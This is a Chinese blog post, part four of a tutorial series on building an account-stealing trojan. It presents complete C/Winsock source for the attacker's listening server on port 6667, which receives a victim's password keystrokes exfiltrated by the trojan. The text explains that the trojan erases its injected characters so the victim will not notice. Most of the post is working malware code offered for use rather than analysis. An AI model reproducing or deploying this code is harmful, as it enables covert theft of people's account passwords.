盗号木马之旅(四)

目标:

       实现服务端的代码编写,用于接受木马发回的消息。


实现:

     由于这一篇实现任务比较简单,我就讲一下密码的消息接收,账号类似。由于密码一开始我们需要接受密码本,所以我们需要区分一下发来的是密码本还是未翻译的密码。由于为了方便我们只模拟10个数字,所以一共20个字符(加上对应的BackSpace,因为不想让用户看出为何密码框平白无故多出10字符,所以我们需要删除)。之后就是简单的字符接收就OK了O(∩_∩)O

     代码如下:

#define WIN32_LEAN_AND_MEAN
#include<windows.h>
#include<Winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32.lib")
 
//用于消息定位输出
void gotoxy(int x, int y) {
	COORD pos = { x,y };
	HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);// 获取标准输出设备句柄
	SetConsoleCursorPosition(hOut, pos);//两个参数分别是指定哪个窗体,具体位置
}
 
 
void main() {
	WSADATA wsaData;
	int state = 0;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData)) {
		printf("套接字初始化失败!\n");
	}
	SOCKET serviceSocket = socket(AF_INET, SOCK_STREAM, 0);
	if (serviceSocket == INVALID_SOCKET) {
		printf("创建套接字失败!\n");
	}
	SOCKADDR_IN socketAddService;
	socketAddService.sin_family = AF_INET;
	socketAddService.sin_port = htons(6667);
	socketAddService.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	state = bind(serviceSocket, (LPSOCKADDR)&socketAddService, sizeof(SOCKADDR_IN));
	if (state == SOCKET_ERROR) {
		printf("账号绑定失败!\n");
	}
	state = listen(serviceSocket, 1);
	if (state == SOCKET_ERROR) {
		printf("开启监听失败!\n");
	}
	SOCKADDR_IN socketAddClient;
	int iSocketLen = sizeof(SOCKADDR_IN);
	char cBuffer[40] = {0};
	int index = 0;
	printf("监听密码中..........\n");
	printf("密码翻译本:");
	int num = 0;
	while (1)
	{
		SOCKET clientSocket = accept(serviceSocket, (LPSOCKADDR)&socketAddClient, &iSocketLen);
		int iRec = recv(clientSocket, &cBuffer[index], 1, 0);//接受数据
		if (num < 20) {//20是因为10个字符和10和Backspace
			if ((int)cBuffer[index] == 8&&index>0) {//不接受BackSpace
				cBuffer[index] = 0;
			}
			else
			{
				index++;
			}
			gotoxy(11, 1);
			printf("%s", cBuffer);//输出密码本
			if (num == 19) {
				printf("\n未翻译密码:");
				index = 0;
				memset(cBuffer, 0, 40);
			}
		}
		else
		{
			if ((int)cBuffer[index] == 8&&index>0) {//接受未翻译密码
				index--;
				cBuffer[index] = 0;
			}
			else
			{
				index++;
			}
			gotoxy(11, 2);
			printf("%s", cBuffer);
		}
		num++;
		if (iRec == 0||iRec==SOCKET_ERROR) {
			printf("断开连接\n");
			break;
		}
	}
	closesocket(serviceSocket);
	WSACleanup();
	system("pause");
}


本篇结语:

     本篇很简单,没什么要讲的。

 

                                                                                 下一篇

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值